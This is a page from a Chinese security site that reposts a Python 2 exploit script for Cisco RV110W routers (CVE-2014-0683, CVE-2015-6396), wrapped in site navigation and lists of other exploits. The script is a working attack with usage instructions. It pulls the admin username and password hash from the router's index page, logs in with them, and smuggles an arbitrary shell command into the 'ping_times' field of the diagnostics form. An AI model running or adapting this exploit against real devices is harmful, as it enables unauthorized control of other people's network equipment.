首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cisco RV110W Password Disclosure / Command Execution
来源:vfocus.net 作者:RySh 发布时间:2018-12-17  
#!/usr/bin/env python2

#####
## Cisco RV110W Password Disclosure and OS Command Execute.
### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.)

# Exploit Title: Cisco RV110W Password Disclosure and OS Command Execute
# Date: 2018-08
# Exploit Author: RySh
# Vendor Homepage: https://www.cisco.com/
# Version: 1.1.0.9
# Tested on: RV110W 1.1.0.9
# CVE : CVE-2014-0683, CVE-2015-6396

import os
import sys
import re
import urllib
import urllib2
import getopt
import json

import ssl

ssl._create_default_https_context = ssl._create_unverified_context

###
# Usage: ./{script_name} 192.168.1.1 443 "reboot"
###

if __name__ == "__main__":
    IP = argv[1]
    PORT = argv[2]
    CMD = argv[3]
    
    # Get session key, Just access index page.
    url = 'https://' + IP + ':' + PORT + '/'
    req = urllib2.Request(url)
    result = urllib2.urlopen(req)
    res = result.read()
    
    # parse 'admin_pwd'! -- Get credits
    admin_user = re.search(r'.*(.*admin_name=\")(.*)\"', res).group().split("\"")[1]
    admin_pwd = re.search(r'.*(.*admin_pwd=\")(.{32})', res).group()[-32:]
    print "Get Cred. Username = " + admin_user + ", PassHash = " + admin_pwd

    # Get session_id by POST
    req2 = urllib2.Request(url + "login.cgi")
    req2.add_header('Origin', url)
    req2.add_header('Upgrade-Insecure-Requests', 1)
    req2.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req2.add_header('User-Agent',
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
    req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
    req2.add_header('Referer', url)
    req2.add_header('Accept-Encoding', 'gzip, deflate')
    req2.add_header('Accept-Language', 'en-US,en;q=0.9')
    req2.add_header('Cookie', 'SessionID=')
    data = {"submit_button": "login",
            "submit_type": "",
            "gui_action": "",
            "wait_time": "0",
            "change_action": "",
            "enc": "1",
            "user": admin_user,
            "pwd": admin_pwd,
            "sel_lang": "EN"
            }
    r = urllib2.urlopen(req2, urllib.urlencode(data))
    resp = r.read()
    login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]
    session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]

    # Execute your commands via diagnose command parameter, default command is `reboot`
    req3 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)
    req3.add_header('Origin', url)
    req3.add_header('Upgrade-Insecure-Requests', 1)
    req3.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req3.add_header('User-Agent',
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
    req3.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
    req3.add_header('Referer', url)
    req3.add_header('Accept-Encoding', 'gzip, deflate')
    req3.add_header('Accept-Language', 'en-US,en;q=0.9')
    req3.add_header('Cookie', 'SessionID=')
    data_cmd = {"submit_button": "Diagnostics",
            "change_action": "gozila_cgi",
            "submit_type": "start_ping",
            "gui_action": "",
            "traceroute_ip": "",
            "commit": "1",
            "ping_times": "3 |" + CMD + "|",
            "ping_size": "64",
            "wait_time": "4",
            "ping_ip": "127.0.0.1",
            "lookup_name": ""
            }
    r = urllib2.urlopen(req3, urllib.urlencode(data_cmd))
            


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·UltraISO 9.7.1.3519 Output Fil
·Zortam MP3 Media Studio 24.15
·Safari Proxy Object Type Confu
·Angry IP Scanner 3.5.3 Denial
·Windows UAC Protection Bypass
·Huawei Router HG532e Command E
·Windows Persistent Service Ins
·WebDAV Server Serving DLL
·Nsauditor 3.0.28.0 Buffer Over
·WordPress Snap Creek Duplicato
·MegaPing Buffer Overflow / Den
·PrestaShop 1.6.x / 1.7.x Remot
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved